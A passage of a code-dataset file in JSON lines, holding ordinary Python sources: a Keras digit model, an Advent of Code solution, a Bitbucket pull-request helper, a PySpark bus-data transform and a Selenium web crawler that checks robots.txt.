{"api_name": "logging.info", "line_number": 189, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 170, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 191, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 192, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 205, "usage_type": "call"}, {"api_name": "sqlalchemy.future.select", "line_number": 207, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 207, "usage_type": "argument"}, {"api_name": "typing.Optional", "line_number": 210, "usage_type": "name"}, {"api_name": "sqlalchemy.future.select", "line_number": 213, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 213, "usage_type": "argument"}, {"api_name": "sqlalchemy.future.select", "line_number": 215, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 215, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 210, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 210, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 217, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 218, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 223, "usage_type": "call"}, {"api_name": "models.organization.Organization", "line_number": 229, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 234, "usage_type": "argument"}, {"api_name": "models.organization.Organization", "line_number": 236, "usage_type": "argument"}, {"api_name": "logging.info", "line_number": 243, "usage_type": "call"}, {"api_name": "models.organization.Organization.tac_id", "line_number": 246, "usage_type": "attribute"}, {"api_name": "models.organization.Organization", "line_number": 246, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 242, "usage_type": "name"}, {"api_name": "models.organization.Organization", "line_number": 242, "usage_type": "name"}]}
{"seq_id": "32244380922", "text": "import numpy as np\nimport os\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Conv2D, Flatten, MaxPool2D, Dropout\nfrom keras.optimizers import Adam, SGD\nimport cv2\n\n\ndef create_model():\n    model = Sequential()\n    model.add(Dense(1056, activation=\"relu\", input_shape=(32, 33)))\n    model.add(Flatten())\n    model.add(Dense(10, activation=\"softmax\"))\n    model.compile(loss=\"categorical_crossentropy\", optimizer=Adam())\n    return model\n\n\ndef save_weights(model):\n    dir = \"number_recognition\"\n    index = len([name for name in os.listdir(dir) if os.path.isfile(os.path.join(dir, name))])\n    model.save(\"number_recognition/model_{}.h5\".format(index))\n\n\ndef get_number_data():\n    images = []\n    expected_output = np.zeros((10, 10))\n    files = [name for name in os.listdir(\"numbers\") if os.path.isfile(os.path.join(\"numbers\", name))]\n    for i, file in enumerate(files):\n        image = cv2.imread(\"numbers/{}\".format(file))\n        image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n        images.append(image)\n        expected_output[i][i] = 1\n    return images, expected_output\n", "repo_name": "CasJanse/super_hexagon_AI", "sub_path": "number_recognition.py", "file_name": "number_recognition.py", "file_ext": "py", "file_size_in_byte": 1113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "keras.models.Sequential", "line_number": 10, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 11, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 12, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 13, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 26, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 30, "usage_type": "attribute"}]}
{"seq_id": "31759223370", "text": "import sys\nfrom collections import deque\n\ndef part1(grid,max_x,max_y):\n    part1 = 0\n    for xa in range(max_x+1):\n        for ya in range(max_y+1):\n            if grid[(xa,ya)][0] > 0: #non-empty\n                for xb in range(max_x+1):\n                    for yb in range(max_y+1):\n                        if (xa,ya) == (xb,yb):\n                            continue\n                        if grid[(xa,ya)][0] <= grid[(xb,yb)][1]:\n                            part1 += 1\n    return part1\n\ndef find_shortest_path(from_x,from_y,to_x,to_y,grid,empty_size,avoid_coord):\n    stack = deque()\n    traversed = set()\n    if avoid_coord:\n        traversed.add(avoid_coord)\n    adjacency = [(\"R\",1,0),(\"U\",0,-1),(\"D\",0,1),(\"L\",-1,0)]\n    stack.append( (from_x,from_y,\"\") )\n    while stack:\n        x,y,path = stack.popleft()\n        if (x,y) in traversed:\n            continue\n        traversed.add((x,y))\n        if (x,y) == (to_x,to_y):\n            return path\n        else: \n            for d,i,j in adjacency:\n                if (x+i,y+j) in grid and grid[(x+i,y+j)][0] <= empty_size:\n                    stack.append( (x+i,y+j,path+d) )\n\ngrid = dict()\nmax_x = max_y = 0\nempty_x = empty_y = -1\nfor line in open(\"Resources/input22.txt\"):\n    if line[0:4] != \"/dev\":\n        continue\n    raw_node,_,used,avail,_ = line.split()\n    _,raw_x,raw_y = raw_node.split(\"-\")\n    max_x = max(max_x,int(raw_x[1:]))\n    max_y = max(max_y,int(raw_y[1:]))\n    grid[(int(raw_x[1:]),int(raw_y[1:]))] = (int(used[:-1]),int(avail[:-1]))\n    if int(used[:-1]) == 0:\n        empty_x,empty_y = int(raw_x[1:]),int(raw_y[1:])\nprint(\"Part 1:\",part1(grid,max_x,max_y))\n\n#find the optimal path from the top corner to final target to follow\nempty_size = grid[empty_x,empty_y][1]\ntotal_steps = 0\ncorner_to_target = find_shortest_path(max_x,0,0,0,grid,empty_size,None)\n\n#continually move the empty around the payload into the optimal path to move the payload to the final target\npayload_loc = (max_x,0)\nfor step in corner_to_target:\n    #move the empty into the target path\n    empty_target_x,empty_target_y = payload_loc\n    if step == \"L\":\n        empty_target_x -= 1\n    elif step == \"D\":\n        empty_target_y += 1\n    elif step == \"R\":\n        empty_target_x += 1\n    else: #\"U\"\n        empty_target_y -= 1\n    empty_path = find_shortest_path(empty_x,empty_y,empty_target_x,empty_target_y,grid,empty_size,payload_loc)\n    total_steps += len(empty_path)\n    \n    #swap empty and payload and reset pointers\n    empty_x,empty_y = payload_loc\n    payload_loc = (empty_target_x,empty_target_y)\n    total_steps += 1\nprint(\"Part 2:\",total_steps)", "repo_name": "andrewfroehlich/AdventOfCode", "sub_path": "2016/problem22.py", "file_name": "problem22.py", "file_ext": "py", "file_size_in_byte": 2609, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.deque", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "39409723162", "text": "import requests\nimport json\n\nport = 59224\nbaseUrl = 'http://localhost:{}/'.format(port)\n\n# Check if Bottango is currently able to animate\n#\n# response data:\n# bool canAnimate\n\nrequestUrl = baseUrl + 'CanAnimate/'\ntry:\n\tresponse = requests.get(requestUrl)\n\tresponse.raise_for_status()\n\tresponseData = response.json()\n\tprint ('Can Animate: {}'.format(responseData['canAnimate']))\n\tprint ('------')\nexcept requests.exceptions.RequestException as e:\n\traise SystemExit(e)", "repo_name": "EvanBottango/Bottango", "sub_path": "PlaybackControlAPI/Example_CanAnimate.py", "file_name": "Example_CanAnimate.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "6395888470", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date    : 2016-01-01 10:10:32\n# @Author  : Zhaifg (zhaifengguo@foxmail.com)\n# @Link    : http://htop.me\n# @Version : $Id$\n\nimport threading\nimport time\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG,\n                    format='(%(threadingName)-10s) %(message)s')\n\ndef daemon():\n    logging.debug('Starting')\n    time.sleep(2)\n    logging.debug('Exiting')\n\nd = threading.Thread(name='daemon', target=daemon)\nd.setDaemon(True)\n\ndef non_daemon():\n    logging.debug('Starting')\n    logging.debug('Exiting')\n\nt = threading.Thread(name='non-daemon', target=non_daemon)\nd.start()\nt.start()\n\n\n", "repo_name": "zhaifg/skills-and-tutorial", "sub_path": "Python/Python Module/threading_daemon.py", "file_name": "threading_daemon.py", "file_ext": "py", "file_size_in_byte": 645, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 12, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 16, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 17, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 18, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 25, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "22212340741", "text": "import datetime\nimport stashy\nfrom pybitbucket37.auth import BasicAuthenticator\nfrom pybitbucket37.bitbucket import Client\nfrom pybitbucket37.repository import Repository, RepositoryRole\nfrom pybitbucket37.team import Team\nfrom pybitbucket37.pullrequest import PullRequest\n\nXLS_DATE_FORMAT = \"%Y-%m-%d %H:%M:%S\"\nISO_DATE_FORMAT = \"%Y-%m-%dT%H:%M:%S.%f%z\"\n\n\nclass Repo:\n    def __init__(self, project, name, clone_uri, owner):\n        self.project = project\n        self.name = name\n        self.clone_uri = clone_uri\n        self.owner = owner\n\n    def __str__(self):\n        return \"\"\"{{'project': '{project}',\\\n                    'name': '{name}, \\\n                    'clone_uri': '{clone_uri}',\n                    'owner:': '{owner}'}}\"\"\".format(project=self.project,\n                                                    name=self.name,\n                                                    clone_uri=self.clone_uri,\n                                                    owner=self.owner)\n\n\nclass PR:\n    def __init__(self, repo, title, state, author, created_date, closed_date):\n        self.repo = repo\n        self.title = title\n        self.state = state\n        self.author = author\n        self.created_date = created_date\n        self.closed_date = closed_date\n\n    def __str__(self):\n        return \"\"\"{{'project': '{project}',\\\n                    'repo_name': '{repo_name}', \\\n                    'title': '{title}', \\\n                    'state': '{state}', \\\n                    'author': '{author}, \\\n                    'created_date: '{created_date}', \\\n                    'closed_date: '{closed_date}'}}\"\"\".format(project=self.repo.project,\n                                                              repo_name=self.repo.name,\n                                                              title=self.title,\n                                                              state=self.state,\n                                                              author=self.author,\n                                                              created_date=self.created_date,\n                                                              closed_date=str(self.closed_date))\n\n\nclass BitbucketServer:\n    def __init__(self, host: str, user: str, token: str, clone_type: str, working_dir: str):\n        self.bitbucket = stashy.connect(host, user, token)\n        self.clone_type = clone_type\n        self.working_dir = working_dir\n\n    def projects(self):\n        return self.bitbucket.projects.list()\n\n    def repos(self):\n        all_repos = []\n\n        for project in self.projects():\n            project_key = project['key']\n            for repo in self.bitbucket.projects[project_key].repos.list():\n                clone_links = repo['links']['clone']\n                clone_uri = list(filter(lambda t: t['name'] == self.clone_type, clone_links))[\n                    0]['href']\n\n                all_repos.append(\n                    Repo(project, repo['name'], clone_uri, owner=None))\n\n        return all_repos\n\n    def pull_requests(self, repo, state):\n        pull_requests = []\n\n        for pr in self.bitbucket.projects[repo.project['key']].repos[repo.name].pull_requests.all(\n                state=state):\n            closed_date = None\n            if pr['state'] in ('MERGED', 'DECLINED'):\n                closed_date = datetime.datetime.utcfromtimestamp(\n                    pr['closedDate']/1000).strftime(XLS_DATE_FORMAT)\n\n            created_date = datetime.datetime.utcfromtimestamp(\n                pr['createdDate']/1000).strftime(XLS_DATE_FORMAT)\n            pull_requests.append(PR(repo, pr['title'], pr['state'], pr['author']['user']['name'],\n                                    created_date, closed_date))\n\n        return pull_requests\n\n\nclass BitbucketCloud:\n    def __init__(self, user: str, password: str, email: str, clone_type: str, working_dir: str):\n        self.user = user\n        self.email = email\n        self.clone_type = clone_type\n        self.working_dir = working_dir\n\n        self.bitbucket = Client(BasicAuthenticator(\n            user,\n            password,\n            email))\n\n        self.teams = []\n        for team in Team.find_teams_for_role(RepositoryRole.MEMBER.value, client=self.bitbucket):\n            self.teams.append(team['username'])\n\n    def repos(self):\n        all_repos = []\n\n        for team in self.teams:\n            for repo in Repository.find_repositories_by_owner_and_role(\n                    owner=team, role=RepositoryRole.MEMBER.value, client=self.bitbucket):\n\n                all_repos.append(Repo(project=repo.project, name=repo.slug,\n                                      clone_uri=repo.clone[self.clone_type],\n                                      owner=repo.owner['username']))\n\n        return all_repos\n\n    def pull_requests(self, repo, state):\n        pull_requests = []\n\n        for team in self.teams:\n            url_friendly_name = ' '.join(\n                repo.name.split(' - ')).replace(' ', '-')\n            for pr in PullRequest.find_pullrequests_for_repository_by_state(url_friendly_name,\n                                                                            state=state,\n                                                                            owner=team,\n                                                                            client=self.bitbucket):\n                if isinstance(pr, PullRequest):\n                    closed_date = None\n                    if pr.state in ('MERGED', 'DECLINED'):\n                        closed_date = datetime.datetime.strptime(\n                            pr.updated_on, ISO_DATE_FORMAT).strftime(XLS_DATE_FORMAT)\n\n                    created_date = datetime.datetime.strptime(\n                        pr.created_on, ISO_DATE_FORMAT).strftime(XLS_DATE_FORMAT)\n                    pull_requests.append(PR(repo, pr.title, pr.state, pr.author['display_name'],\n                                            created_date, closed_date))\n\n        return pull_requests\n", "repo_name": "cormaxed/bitbucket-helper", "sub_path": "helperlib/bitbucket/bitbucket_api.py", "file_name": "bitbucket_api.py", "file_ext": "py", "file_size_in_byte": 6000, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "stashy.connect", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 86, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 86, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pybitbucket37.bitbucket.Client", "line_number": 104, "usage_type": "call"}, {"api_name": "pybitbucket37.auth.BasicAuthenticator", "line_number": 104, "usage_type": "call"}, {"api_name": "pybitbucket37.team.Team.find_teams_for_role", "line_number": 110, "usage_type": "call"}, {"api_name": "pybitbucket37.team.Team", "line_number": 110, "usage_type": "name"}, {"api_name": "pybitbucket37.repository.RepositoryRole.MEMBER", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pybitbucket37.repository.RepositoryRole", "line_number": 110, "usage_type": "name"}, {"api_name": "pybitbucket37.repository.Repository.find_repositories_by_owner_and_role", "line_number": 117, "usage_type": "call"}, {"api_name": "pybitbucket37.repository.Repository", "line_number": 117, "usage_type": "name"}, {"api_name": "pybitbucket37.repository.RepositoryRole.MEMBER", "line_number": 118, "usage_type": "attribute"}, {"api_name": "pybitbucket37.repository.RepositoryRole", "line_number": 118, "usage_type": "name"}, {"api_name": "pybitbucket37.pullrequest.PullRequest.find_pullrequests_for_repository_by_state", "line_number": 132, "usage_type": "call"}, {"api_name": "pybitbucket37.pullrequest.PullRequest", "line_number": 132, "usage_type": "name"}, {"api_name": "pybitbucket37.pullrequest.PullRequest", "line_number": 136, "usage_type": "argument"}, {"api_name": "datetime.datetime.strptime", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 139, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 142, "usage_type": "attribute"}]}
{"seq_id": "41995942954", "text": "import argparse\nfrom pyspark.sql import functions as f\nfrom pyspark.sql.dataframe import DataFrame\nfrom pyspark.sql import SparkSession\nimport pendulum\n\n\ndef operacao_agrupada(df_param: DataFrame) -> DataFrame:\n    \"\"\"Função para gerar o dataframe de operação agrupado\n\n    Args:\n        df_param (DataFrame): dataframe\n\n    Returns:\n        DataFrame: dataframe com a operação agrupada\n    \"\"\"\n    df_operacao = df_param.select(df_param.hr, df_param.data_extracao, f.explode('l').alias('DADOS_LINHA')) \\\n        .withColumnRenamed('hr', 'HORA_API') \\\n        .select('HORA_API',\n                'DATA_EXTRACAO',\n                f.col('DADOS_LINHA.c').alias('LETREIRO_COMPLETO'),\n                f.col('DADOS_LINHA.cl').alias('CODIGO_IDENTIFICADOR'),\n                f.col('DADOS_LINHA.lt0').alias('LETREIRO_ORIGEM'),\n                f.col('DADOS_LINHA.lt1').alias('LETREIRO_DESTINO'),\n                f.col('DADOS_LINHA.qv').alias('QTDE_VEICULOS_OPERACAO'),\n                )\n    return df_operacao\n\n\ndef juncao_dataframe(df_um: DataFrame,\n                     df_dois: DataFrame,\n                     coluna_um: str,\n                     coluna_dois: str,\n                     tipo_juncao: str = 'inner') -> DataFrame:\n    \"\"\"Finção para gerar a junção entre dois dataframes\n\n    Args:\n        df_um (DataFrame): dataframe das operações dos ônibus agrupadas / desagrupadas\n        df_dois (DataFrame): dataframe com a lista das operações\n        coluna_um (str): coluna de junção dos ônibus\n        coluna_dois (str): ccoluna do dataframe das operações dos ônibus agrupadas / desagrupadas\n        tipo_juncao (str, optional): tipo de junção Defaults to 'inner'.\n\n    Returns:\n        DataFrame: _description_\n    \"\"\"\n    df_dados_completos_operacao = df_um.join(\n        df_dois, f.col(coluna_um) == f.col(coluna_dois), tipo_juncao)\n    df_dados_completos_operacao = df_dados_completos_operacao.withColumn(\n        'DATA_EXTRACAO', f.to_date('DATA_EXTRACAO'))\n    colunas = ('_c0', '_c1')\n    df_dados_completos_operacao = df_dados_completos_operacao.withColumn(\n        'DATA_EXTRACAO_API', f.to_date('DATA_EXTRACAO'))\n    df_dados_completos_operacao = df_dados_completos_operacao.drop(*colunas)\n    return df_dados_completos_operacao\n\n\ndef export_json(df_param: DataFrame,\n                coluna_particao: str,\n                path_exportacao: str,\n                mode: str = 'overwrite') -> None:\n    \"\"\"Função para gravar o json do datalake\n\n    Args:\n        df_param (DataFrame): dataframe tratada\n        coluna_particao (str): coluna para fazer a partição\n        path_exportacao (str): caminho para gravar o dataframe\n        mode (str, optional): tipo de gravação. Defaults to 'overwrite'.\n    \"\"\"\n    df_param.coalesce(1) \\\n        .write \\\n        .partitionBy(coluna_particao) \\\n        .mode(mode)\\\n        .parquet(path_exportacao)\n\n\ndef operacao_desagrupada(df_param: DataFrame) -> DataFrame:\n    \"\"\"Função para fazer tratamento do dataframe base\n\n    Args:\n        df_param (DataFrame): dataframe base\n\n    Returns:\n        DataFrame: Dataframe com as operações desagrupadas\n    \"\"\"\n    df_p = df_param.select(\n        df_param.data_extracao,\n        df_param.hr,\n        f.explode(df_param.l).alias('lista')\n    )\n    df_p = df_p.select(df_p.data_extracao, df_p.lista, df_p.hr)\n\n    df_amostra_um = df_p.select(\n        df_p.data_extracao,\n        df_p.hr,\n        df_p.lista.c.alias('LETREIRO_COMPLETO'),\n        df_p.lista.sl.alias('SENTIDO_OPERACAO'),\n        df_p.lista.cl.alias('CODIGO_IDENTIFICADOR_LINHA'),\n        f.explode(df_p.lista.vs).alias('expansao')) \\\n        .select(f.col('data_extracao').alias('DATA_EXTRACAO'),\n                f.col('hr').alias('HORA_API'),\n                'LETREIRO_COMPLETO',\n                'SENTIDO_OPERACAO',\n                'CODIGO_IDENTIFICADOR_LINHA',\n                f.col('expansao.p').alias('PREFIXO_ONIBUS'),\n                f.col('expansao.ta').alias('DATA_HORA_CAPTURA_LOCALIZACAO'),\n                f.col('expansao.py').alias('LATITUDE'),\n                f.col('expansao.px').alias('LONGITUDE'),\n\n                ) \\\n        .sort(df_p.data_extracao.desc(), df_p.lista.c.asc())\n\n    return df_amostra_um\n\n\ndef sptrans_tranform(spark_session: SparkSession,\n                     src_operacao_dia: str,\n                     src_dados_completos_onibus: str\n                     ):\n    \"\"\"Método para transformação\n\n    Args:\n        spark_session (SparkSession): sessão dia\n        src_operacao_dia (str): caminho do datalake\n        src_dados_completos_onibus (str): caminho do csv com a listagem de empresas\n    \"\"\"\n    df_operacao_dia = spark_session.read.json(src_operacao_dia)\n    df_operacao_agrupada = operacao_agrupada(df_operacao_dia)\n    df_operacao_desagrupada = operacao_desagrupada(df_operacao_dia)\n    df_lista_consocio = spark.read \\\n        .options(header=True) \\\n        .csv(src_dados_completos_onibus)\n\n    df_dados_completos_operacao_desagrupada = juncao_dataframe(\n        df_lista_consocio,\n        df_operacao_desagrupada,\n        'LINHA',\n        'LETREIRO_COMPLETO',\n\n    )\n    today = pendulum.now('America/Sao_Paulo').format('YYYY_MM_DD')\n\n    df_dados_completos_operacao_agrupada = juncao_dataframe(\n        df_lista_consocio,\n        df_operacao_agrupada,\n        'LINHA',\n        'LETREIRO_COMPLETO'\n    )\n\n    export_json(\n        df_dados_completos_operacao_desagrupada,\n        'DATA_EXTRACAO_API',\n        f'/home/rodrigo/projetos/monitoramento_sptrans/data/datalake/prata/operacao_desagrupada_{today}.parquet'\n    )\n\n    export_json(\n        df_dados_completos_operacao_agrupada,\n        'DATA_EXTRACAO_API',\n        f'/home/rodrigo/projetos/monitoramento_sptrans/data/datalake/prata/operacao_agrupada_{today}.parquet'\n    )\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(\n        description='teste Extracao'\n    )\n\n    parser.add_argument('--src_operacao_dia', required=True)\n    parser.add_argument('--src_dados_completos_onibus', required=True)\n    args = parser.parse_args()\n    spark = SparkSession\\\n        .builder\\\n        .appName(\"sptrans_transformation\")\\\n        .getOrCreate()\n\n    sptrans_tranform(\n        spark,\n        args.src_operacao_dia,\n        args.src_dados_completos_onibus\n    )\n", "repo_name": "rodrigorocha1/monitoramento_sptrans", "sub_path": "src/data_transform/tranformacao_dataframe.py", "file_name": "tranformacao_dataframe.py", "file_ext": "py", "file_size_in_byte": 6267, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 8, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.explode", "line_number": 17, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 17, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 21, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 21, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 22, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 22, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 23, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 23, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 24, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 24, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 25, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 25, "usage_type": "name"}, {"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 30, "usage_type": "name"}, {"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 31, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 48, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 48, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.to_date", "line_number": 50, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 50, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.to_date", "line_number": 53, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 53, "usage_type": "name"}, {"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 34, "usage_type": "name"}, {"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 58, "usage_type": "name"}, {"api_name": "pyspark.sql.dataframe.DataFrame", "line_number": 77, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.explode", "line_number": 89, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 89, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.explode", "line_number": 99, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 99, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 100, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 100, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 101, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 101, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 105, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 105, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 106, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 106, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 107, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 107, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.col", "line_number": 108, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 108, "usage_type": "name"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 116, "usage_type": "name"}, {"api_name": "pendulum.now", "line_number": 141, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 164, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 171, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 171, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 171, "usage_type": "name"}]}
{"seq_id": "15960931293", "text": "# https://leetcode.com/problems/reverse-string/\n\nfrom typing import List\n\n\nclass ReverseString:\n    @staticmethod\n    def reverse_string(s: List[str]) -> None:\n        s.reverse()\n\n\nif __name__ == '__main__':\n    test = ReverseString()\n    test_string = [\"h\", \"e\", \"l\", \"l\", \"o\"]\n    test.reverse_string(test_string)\n    print(test_string)\n", "repo_name": "antykwar/python-algorithms", "sub_path": "leetcode_tasks/reverse_string.py", "file_name": "reverse_string.py", "file_ext": "py", "file_size_in_byte": 340, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}]}
{"seq_id": "71693791269", "text": "from selenium.webdriver.chrome.options import Options\nfrom selenium import webdriver\nimport time\nimport pymysql\nfrom Libsql import create_table,insert_into,update\nfrom urllib.robotparser import RobotFileParser\n#______________________________________________________________________________#\n\nclass DataColumn:\n    '''\n    '''\n    def __init__(self,name,tags,attribute,sql_declaration,selector):\n        self.name = name\n        self.tags = tags\n        self.attribute = attribute\n        self.sql_declaration = sql_declaration\n        self.selector = selector\n\nclass WebSite:\n    \"\"\"Contains the information needed to scrape a webSite\"\"\"\n    def __init__(self,columns,absolute_url,target_pattern,content_box_tag,tor=False,starting_url=''):\n        self.starting_url = starting_url\n        self.absolute_url = absolute_url\n        self.columns = columns\n        self.content_box_tag = content_box_tag\n        self.target_pattern = target_pattern\n        self.tor = tor\n\n    def set_url(self,url):\n        self.starting_url = url\n\n    def set_column_dict(self,new_column_dict):\n        self.column_dict = new_column_dict\n#______________________________________________________________________________#\n\nclass Crawler:\n    \"\"\"Crawl and scrap information from a WebSite\"\"\"\n    def __init__(self,web_site,database_name='',meta_web_sites={}):\n        self.web_site = web_site\n        self.database_name = database_name\n        self.meta_web_sites = meta_web_sites\n\n    def get_web_site(self):\n        return self.web_site\n\n    def obey_robots(self,url):\n        if (self.web_site.absolute_url.endswith('/')):\n            robot_url = self.web_site.absolute_url + 'robots.txt'\n        else:\n            robot_url = self.web_site.absolute_url + '/robots.txt'\n\n        rp = RobotFileParser()\n        rp.set_url(robot_url)\n        rp.read()\n        return {'crawl_delay':rp.crawl_delay('*'),'can_fetch':rp.can_fetch('*',url)}\n\n    def get_meta_content(self,content_boxes):\n        content = list()\n        print(len(content_boxes))\n        for box in content_boxes:\n            content_dict = dict()\n            info = box.text.split(':')\n            print(info)\n            try:\n                key = info[0].lower().replace(' ','_')\n                val = info[1].strip(' ').replace('\\n',' ')\n\n                content_dict[key] = val\n                content.append(content_dict)\n            except:\n                continue\n\n        print(content)\n        return content\n\n\n    def get_content(self,content_boxes):\n        def get_index(info,index):\n            try:\n                result = info[index]\n            except:\n                result = 'n/a'\n\n            return result\n\n        content = list()\n        print(len(content_boxes))\n        for box in content_boxes:\n            #content dictionary saves the name of the column atached to the value\n            content_dict = dict()\n            info = box.text.split('\\n')\n            content_dict['name'] = get_index(info,0)\n            content_dict['address'] = get_index(info,1)+' '+get_index(info,2)\n            content_dict['phone'] = get_index(info,3)\n            content_dict['url_to_box_info'] = box.find_element_by_css_selector('a').get_attribute('href')\n            content.append(content_dict)\n\n        return content\n\n    def scrape_page (self):\n        #initialize browser\n        chrome_options = Options()\n        chrome_options.add_argument(\"--ignore-certificate-errors\")\n        if (self.web_site.tor):\n            chrome_options.add_argument(\"--proxy-server=socks5://127.0.0.1:9150\")\n        driver = webdriver.Chrome(options=chrome_options)\n        #make the request\n        driver.get(self.web_site.starting_url)\n        content_boxes = driver.find_elements_by_css_selector(self.web_site.content_box_tag)\n        content = 